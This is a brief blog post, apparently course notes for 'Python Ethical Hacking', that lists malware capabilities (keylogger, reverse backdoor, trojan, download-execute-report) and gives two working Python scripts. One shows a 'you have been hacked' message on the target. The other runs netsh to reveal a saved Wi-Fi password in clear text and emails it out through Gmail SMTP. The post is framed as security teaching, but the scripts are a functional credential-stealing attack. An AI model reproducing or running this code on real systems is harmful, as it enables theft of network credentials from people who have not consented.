Python Ethical Hacking - Malware Analysis(1)

WRITING MALWARE

  • Download file.
  • Execute Code.
  • Send Report.
  • Download & Execute.
  • Execute & Report.
  • Download, Execute & Report.

KEYLOGGER

A program that records keys pressed on the keyboard.

REVERSE_BACKDOOR

  • Access file system.
  • Execute system commands.
  • Download files.
  • Upload files.
  • Persistence.

PROGRAMMING TROJANS

CROSS-PLATFORM COMPATIBILITY

 

EXECUTE_COMMAND

Execute system command on target.

le:

  • if a program is executed on Windows -> execute windows commands.
  • if a program is executed on Mac OS X -> execute Unix commands.

After packaging:

  • Execute any system command on any OS using a single file. 
#!/usr/bin/env python

import subprocess

command = "msg * you have been hacked"
subprocess.Popen(command, shell=True)

 

Execute AND Report

Execute system command on the target and send the result to email.

#!/usr/bin/env python

import smtplib
import subprocess


def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


command = "netsh wlan show profile \"Panda Home\" key=clear"
result = subprocess.check_output(command, shell=True)
send_mail("aaaa@gmail.com", "1111111", result)

 

posted @ 2019-09-28 20:54  晨风_Eric  阅读(180)  评论(0编辑  收藏  举报